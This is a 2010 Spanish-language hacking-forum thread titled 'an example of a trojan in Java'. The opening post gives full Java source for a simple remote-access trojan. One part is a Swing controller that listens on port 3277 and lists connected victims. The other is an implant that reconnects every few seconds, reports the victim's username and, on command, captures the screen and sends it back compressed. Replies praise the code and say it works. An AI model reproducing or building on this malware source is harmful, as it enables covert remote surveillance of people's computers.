elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado:


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  Java (Moderadores: Debci, Leyer)
| | | |-+  un ejemplo de troyano en java
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: un ejemplo de troyano en java  (Leído 6,090 veces)
AngelCruel

Desconectado Desconectado

Mensajes: 24


Ver Perfil
un ejemplo de troyano en java
« en: 19 Julio 2010, 08:30 »


Esta es la clase principal del cliente:

Código
  1. [co]deimport java.awt.*;
  2. import java.awt.event.*;
  3. import java.io.*;
  4. import java.net.*;
  5. import javax.swing.*;
  6. import javax.swing.border.LineBorder;
  7. import javax.swing.border.TitledBorder;
  8. import javax.swing.table.*;
  9.  
  10. public class cliente extends JFrame implements Runnable, ActionListener {
  11.  
  12.    JPopupMenu menuContextual;
  13.    static DefaultTableModel model;
  14.    static JTable table;
  15.    JButton ver;
  16.    boolean ok = true;
  17.    String[][] datosEquipos = new String[0][0];
  18.    String[] tituloTable = new String[]{"Nombre Maquina", "IP", "Nombre de Usuario", "Puerto"};
  19.    int indice, numeropuerto = 3277;
  20.    String tip;
  21.    JPanel panel, botones;
  22.    JTextArea info = new JTextArea(4, 4);
  23.    JButton Puerto;
  24.    private RecursoClientes recurso;
  25.    private Socket cliente;
  26.    private ServerSocket servidor;
  27.    private ObjectOutputStream salida;
  28.    private ObjectInputStream entrada;
  29.    private String nombre;
  30.    private boolean conectado = false;
  31.    Ingreso ingreso;
  32.  
  33.    public cliente() {
  34.        ingreso = new Ingreso();
  35.        ingreso.addWindowListener(new cerrar(this));
  36.        ingreso.aceptar.addActionListener(this);
  37.        ingreso.cancelar.addActionListener(this);
  38.        ingreso.tcontraseña.setText("xxx");
  39.        crearServidor();
  40.  
  41.        crearPanel();
  42.        setTitle("Cliente");
  43.        setSize(540, 380);
  44.        setLocationRelativeTo(null);
  45.  
  46.        model = new DefaultTableModel(datosEquipos, tituloTable);
  47.        table = new JTable(model);
  48.        table.setSelectionMode(0);
  49.        add(table, BorderLayout.CENTER);
  50.        ver = new JButton("Ver escritorio");
  51.        ver.addActionListener(this);
  52.        Puerto.addActionListener(this);
  53.  
  54.        menuContextual = new JPopupMenu();
  55.        menuContextual.add(ver);
  56.  
  57.        table.addMouseListener(
  58.                new MouseAdapter() {  // clase interna anónima
  59.                    // manejar evento de oprimir botón del ratón
  60.  
  61.                    public void mousePressed(MouseEvent evento) {
  62.                        checkForTriggerEvent(evento);
  63.                    }
  64.  
  65.                    // manejar evento de soltar el botón del ratón
  66.                    public void mouseReleased(MouseEvent evento) {
  67.                        int row = table.rowAtPoint(evento.getPoint());
  68.                        System.out.println(row);
  69.                        if (row != -1) {
  70.                            table.changeSelection(row, 0, false, false);
  71.                            checkForTriggerEvent(evento);
  72.                        } else {
  73.                            try {
  74.                                table.clearSelection();
  75.                                checkForTriggerEvent(null);
  76.                            } catch (Exception ex) {
  77.                                System.out.println("No a seleccionado nada");
  78.                            }
  79.                        }
  80.                        indice = row;
  81.                    }
  82.  
  83.                    // determinar si evento debe desencadenar el menú contextual
  84.                    private void checkForTriggerEvent(MouseEvent evento) {
  85.                        if (evento.isPopupTrigger()) {
  86.                            menuContextual.show(evento.getComponent(), evento.getX(), evento.getY());
  87.                        }
  88.                    }
  89.                } // fin de la clase interna anónima
  90.                );
  91.  
  92.        setDefaultCloseOperation(this.EXIT_ON_CLOSE);
  93.        setVisible(true);
  94.    }
  95.  
  96.    public void crearServidor() {
  97.        try {
  98.            recurso = RecursoClientes.getInstance();
  99.            servidor = new ServerSocket(numeropuerto);
  100.        } catch (UnknownHostException ex) {
  101.            ex.printStackTrace();
  102.        } catch (IOException ex) {
  103.            ex.printStackTrace();
  104.        }
  105.    }
  106.  
  107.    public void crearPanel() {
  108.        Puerto = new JButton("Puerto");
  109.        panel = new JPanel(new BorderLayout());
  110.        FlowLayout flow = new FlowLayout();
  111.        flow.setAlignment(FlowLayout.LEFT);
  112.        botones = new JPanel(flow);
  113.        panel.add("North", new JScrollPane(info));
  114.        TitledBorder border = new TitledBorder(new LineBorder(Color.black), "", TitledBorder.RIGHT, TitledBorder.BOTTOM);
  115.        panel.add("Center", new JSeparator());
  116.        panel.add("South", botones);
  117.        botones.add(Puerto);
  118.        add(panel, BorderLayout.SOUTH);
  119.    }
  120.  
  121.    public void run() {
  122.        while (true) {
  123.            info.append("\nEcuchando en el puerto: " + numeropuerto);
  124.            try {
  125.                info.append("\nEsperando un cliente");
  126.                cliente = servidor.accept();
  127.                info.append("\nIngreso un cliente");
  128.            } catch (IOException ex) {
  129.                //Logger.getLogger(Servidor.class.getName()).log(Level.SEVERE, null, ex);
  130.                info.append("Ha ocurrido un error recibiendo la conexion con el cliente.\n");
  131.                info.append("Este programa se cerrara ...\n");
  132.                System.exit(1);
  133.            }
  134.            try {
  135.                salida = new ObjectOutputStream(cliente.getOutputStream());
  136.                salida.flush();
  137.                entrada = new ObjectInputStream(cliente.getInputStream());
  138.                nombre = (String) entrada.readObject();
  139.  
  140.                info.append("\nRecibido: " + nombre);
  141.  
  142.                if (nombre.equals("Nuevo")) {
  143.                    this.setFocusable(false);
  144.                    ingreso.setVisible(true);
  145.                    do {
  146.                        Thread.sleep(1000);
  147.                    } while (ok);
  148.                }
  149.                if (!ok) {
  150.                    nombre = (String) entrada.readObject();
  151.                }
  152.                salida.writeObject((Object) "xxx");
  153.                Object[] newRow = {nombre, (String) entrada.readObject(), tip = (String) entrada.readObject()};
  154.                model.addRow(newRow);
  155.                conectado = true;
  156.            } catch (Exception e) {
  157.                //Logger.getLogger(Servidor.class.getName()).log(Level.SEVERE, null, ex);
  158.                conectado = false;
  159.            }
  160.  
  161.            if (conectado) {
  162.                ManejadorCliente manejador = new ManejadorCliente(cliente, entrada, salida);
  163.                manejador.setNombre(nombre);
  164.                manejador.setIP(tip);
  165.                this.addManejadorCliente(manejador);
  166.                manejador.start();
  167.                info.append("El cliente " + nombre + " se ha conectado.\n");
  168.                info.append("Numero de clientes: " + recurso.size() + "\n");
  169.            }
  170.        }
  171.    }
  172.  
  173.    public void actionPerformed(ActionEvent e) {
  174.        if (e.getSource() == ver) {
  175.            menuContextual.setVisible(false);
  176.            ManejadorCliente manejador = recurso.getManejadorCliente(indice);
  177.            manejador.Mensaje(1);
  178.        }
  179.        if (e.getSource() == ingreso.aceptar) {
  180.            ok = false;
  181.            ingreso.setVisible(false);
  182.            try {
  183.                salida.writeObject((Object) ingreso.tcontraseña.getText());
  184.                salida.writeObject((Object) ingreso.tnombre.getText());
  185.            } catch (IOException ex) {
  186.                ex.printStackTrace();
  187.            }
  188.        }
  189.        if (e.getSource() == Puerto) {
  190.            numeropuerto = Integer.valueOf(JOptionPane.showInputDialog(this, "Ingrese el nuevo Puerto:", "Cambiar Puerto", JOptionPane.INFORMATION_MESSAGE));
  191.            //cliente();
  192.        }
  193.    }
  194.  
  195.    private void addManejadorCliente(ManejadorCliente manejador) {
  196.        recurso.addManejadorCliente(manejador);
  197.    }
  198.  
  199.    @Override
  200.    public void finalize() {
  201.    }
  202.  
  203.    public static void eliminarMaq(String nombre, String ip) {
  204.        for (int i = 0; i <= model.getRowCount() - 1; i++) {
  205.            if (model.getValueAt(i, 0).equals(nombre) && model.getValueAt(i, 2).equals(ip)) {
  206.                model.removeRow(i);
  207.                break;
  208.            }
  209.        }
  210.    }
  211.  
  212.    public static void main(String args[]) {
  213.        cliente c = new cliente();
  214.        Thread hilo = new Thread(c);
  215.        hilo.start();
  216.    }
  217.  
  218.    class cerrar extends WindowAdapter {
  219.  
  220.        Frame oframe;
  221.  
  222.        public cerrar(Frame miframe) {
  223.            oframe = miframe;
  224.        }
  225.  
  226.        public void windowClosing(WindowEvent ev) {
  227.            oframe.setVisible(false);
  228.        }
  229.    }
  230. }

y esta es la clase principal del servidor:

Código
  1.  
  2. import java.awt.*;
  3. import java.awt.image.*;
  4. import java.io.*;
  5. import java.net.*;
  6. import java.util.*;
  7. import java.util.zip.*;
  8. import javax.imageio.*;
  9.  
  10. public class svd implements Runnable {
  11.  
  12.    String ipExterna = "0.0.0.0";
  13.    Properties pro;
  14.    Scanner scanner;
  15.    Formatter archivo;
  16.    int opc = 0;
  17.    String ip = "localhost", pass = "xxx";
  18.    private boolean conectado = false;
  19.    private Thread hilo;
  20.    Socket soc;
  21.    ObjectOutputStream output;
  22.    ObjectInputStream input;
  23.  
  24.    public void conectar() {
  25.        try {
  26.            soc = new Socket(ip, 3277);
  27.            output = new ObjectOutputStream(soc.getOutputStream());
  28.            output.flush();
  29.            input = new ObjectInputStream(soc.getInputStream());
  30.            conectado = true;
  31.        } catch (IOException ex) {
  32.            System.out.println("Error al conectar");
  33.            conectado = false;
  34.        }
  35.    }
  36.  
  37.    public svd() {
  38.        pro = System.getProperties();
  39.        hilo = new Thread(this);
  40.        hilo.start();
  41.    }
  42.  
  43.    public void run() {
  44.        while (true) {
  45.            conectar();
  46.            if (conectado) {
  47.                try {
  48.                    try {
  49.                        scanner = new Scanner(new File("nombre.txt"));
  50.                    } catch (FileNotFoundException ex) {
  51.                        enviar((Object) "Nuevo");
  52.                        String s = null;
  53.                        while (true) {
  54.                            s = (String) input.readObject();
  55.                            if (s.equals(pass)) {
  56.                                break;
  57.                            }
  58.                        }
  59.                        archivo = new Formatter("nombre.txt");
  60.                        archivo.format("%s", (String) input.readObject());
  61.                        archivo.flush();
  62.                        archivo = null;
  63.                    }
  64.                    scanner = new Scanner(new File("nombre.txt"));
  65.                    enviar((Object) scanner.next());
  66.                    String by;
  67.                    while (true) {
  68.                        by = (String) input.readObject();
  69.                        if (by.equals(pass)) {
  70.                            break;
  71.                        }
  72.                    }
  73.                    enviar((Object) pro.getProperty("user.name"));
  74.                    enviar((Object) ipExterna);
  75.  
  76.                    int salir = 0;
  77.                    do {
  78.                        try {
  79.                            opc = (Integer) input.readObject();
  80.                            switch (opc) {
  81.                                case 1:
  82.                                    output.writeObject((Object) 1);
  83.                                    Rectangle rectangleTam = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
  84.                                    try {
  85.                                        Robot robot = new Robot();
  86.                                        BufferedImage bufferedImage = robot.createScreenCapture(rectangleTam);
  87.                                        ByteArrayOutputStream salidaImagen = new ByteArrayOutputStream();
  88.                                        ImageIO.write(bufferedImage, "jpg", salidaImagen);
  89.                                        byte[] bytesImagen = salidaImagen.toByteArray();
  90.  
  91.                                        GZIPOutputStream gzipout = new GZIPOutputStream(soc.getOutputStream());
  92.                                        ObjectOutputStream oos = new ObjectOutputStream(gzipout);
  93.                                        oos.writeObject(bytesImagen);
  94.                                        gzipout.finish();
  95.                                    } catch (AWTException e) {
  96.                                        e.printStackTrace();
  97.                                    } // procesar los problemas que pueden ocurrir al enviar el objeto
  98.                                    catch (IOException io) {
  99.                                        io.printStackTrace();
  100.                                    }
  101.                                    break;
  102.                                case 10:
  103.                                    salir = 10;
  104.                                    break;
  105.                            }
  106.                        } catch (NumberFormatException ev) {
  107.                            ev.printStackTrace();
  108.                            break;
  109.                        } catch (ClassCastException ec) {
  110.                            ec.printStackTrace();
  111.                            break;
  112.                        }
  113.                    } while (salir != 10);
  114.  
  115.                } catch (Exception e) {
  116.                    e.printStackTrace();
  117.                    try {
  118.                        output.close();
  119.                        input.close();
  120.                        soc.close();
  121.                    } catch (IOException ex) {
  122.                        ex.printStackTrace();
  123.                    }
  124.                }
  125.            }
  126.  
  127.            try {
  128.                hilo.sleep(3000);
  129.            } catch (InterruptedException ex) {
  130.                ex.printStackTrace();
  131.            }
  132.        }
  133.    }
  134.  
  135.    public void enviar(Object ob) {
  136.        try {
  137.            output.writeObject(ob);
  138.            output.flush();
  139.        } catch (IOException ex) {
  140.            ex.printStackTrace();
  141.        }
  142.    }
  143.  
  144.    /*public static void main(String args[]) {
  145.     new svd();
  146.     }*/
  147.    @Override
  148.    public void finalize() {
  149.        try {
  150.            input.close();
  151.            output.close();
  152.            soc.close();
  153.  
  154.        } catch (IOException ex) {
  155.            //Logger.getLogger(Orquestador.class.getName()).log(Level.SEVERE, null, ex);
  156.            ex.printStackTrace();
  157.            input = null;
  158.            output = null;
  159.            soc = null;
  160.        }
  161.        hilo = null;
  162.    }
  163. }
  164.  

para el codigo completo esta en: http://sourceforge.net/projects/adsocks/


« Última modificación: 19 Julio 2010, 08:41 por AngelCruel » En línea

Debci
Moderador
***
Desconectado Desconectado

Mensajes: 2.021


Actualizate o muere!


Ver Perfil WWW
Re: un ejemplo de troyano en java
« Respuesta #1 en: 19 Julio 2010, 12:52 »

Muy bueno te lo indexaré en el indice de temas interesnates en cuanto tenga un momento.

Esperamos verte mas por aqui :)

Saludos


En línea

Leyer
Moderador
***
Desconectado Desconectado

Mensajes: 782


leyer@elhacker.net


Ver Perfil WWW
Re: un ejemplo de troyano en java
« Respuesta #2 en: 19 Julio 2010, 15:43 »

Funciona bien, pero te falta manejar muchos errores que se pueden producir, ;)  ademas de validar si ejecuto el server 2 veces, este no deberia agregarse.

Sigue así
Un saludo.
En línea

Debci
Moderador
***
Desconectado Desconectado

Mensajes: 2.021


Actualizate o muere!


Ver Perfil WWW
Re: un ejemplo de troyano en java
« Respuesta #3 en: 19 Julio 2010, 17:05 »

Funciona bien, pero te falta manejar muchos errores que se pueden producir, ;)  ademas de validar si ejecuto el server 2 veces, este no deberia agregarse.

Sigue así
Un saludo.
Ademas de estar escaso de funcionalidades, pero es la base sencilla de sockets en cliente-servidor.

Saludos
En línea

Aeros

Desconectado Desconectado

Mensajes: 195


Ver Perfil
Re: un ejemplo de troyano en java
« Respuesta #4 en: 19 Julio 2010, 17:07 »

interesante probando :D
En línea

alzehimer_cerebral


Desconectado Desconectado

Mensajes: 513



Ver Perfil WWW
Re: un ejemplo de troyano en java
« Respuesta #5 en: 4 Agosto 2010, 22:33 »

Citar
para el codigo completo esta en: http://sourceforge.net/projects/adsocks/

En el enlace solo esta la parte cliente, donde puedo encontrar la parte servidor completa??

Salu2.

alzehimer_cerebral
« Última modificación: 4 Agosto 2010, 22:37 por alzehimer_cerebral » En línea

Servicios Informaticos Valencia - www.ag-solutions.es
Mi blog - www.alvarogarciasolano.com
Debci
Moderador
***
Desconectado Desconectado

Mensajes: 2.021


Actualizate o muere!


Ver Perfil WWW
Re: un ejemplo de troyano en java
« Respuesta #6 en: 5 Agosto 2010, 00:11 »

Citar
para el codigo completo esta en: http://sourceforge.net/projects/adsocks/

En el enlace solo esta la parte cliente, donde puedo encontrar la parte servidor completa??

Salu2.

alzehimer_cerebral
Ayer mismo lo descargue todo, revisa los archivos del repo :)

Saludos
En línea

alzehimer_cerebral


Desconectado Desconectado

Mensajes: 513



Ver Perfil WWW
Re: un ejemplo de troyano en java
« Respuesta #7 en: 5 Agosto 2010, 20:44 »

Okis error mio.

Gracias.

alzehimer_cerebral
En línea

Servicios Informaticos Valencia - www.ag-solutions.es
Mi blog - www.alvarogarciasolano.com
vivachapas


Desconectado Desconectado

Mensajes: 612



Ver Perfil
Re: un ejemplo de troyano en java
« Respuesta #8 en: 12 Agosto 2010, 20:37 »

buena info!.. ni bien afloje un poco la facu me lo "estudio" jaja

gracias por el aporte!
En línea

kronos30

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: un ejemplo de troyano en java
« Respuesta #9 en: 12 Agosto 2010, 21:15 »

bueno la verda estoy aprendiendo en java el programa lo descargue pero solo muestra el ejecutable hay una forma de podeer ver bien al cod fuente gracias por el aporte
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ejemplo de 3 capas con java « 1 2 3 4 »
Java
Rijhording 31 48,134 Último mensaje 13 Noviembre 2012, 20:47
por ed0810
Cálculos Java, mi primner ejemplo
Java
Meta 2 4,495 Último mensaje 9 Febrero 2011, 02:10
por Meta
Esconder un troyano en un file? por ejemplo .jpg « 1 2 »
Hacking Avanzado
x3r0x 11 12,728 Último mensaje 17 Enero 2012, 15:46
por adastra
Ayuda Troyano Java
Análisis y Diseño de Malware
patxiku10 1 1,426 Último mensaje 22 Abril 2012, 01:39
por $Edu$
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines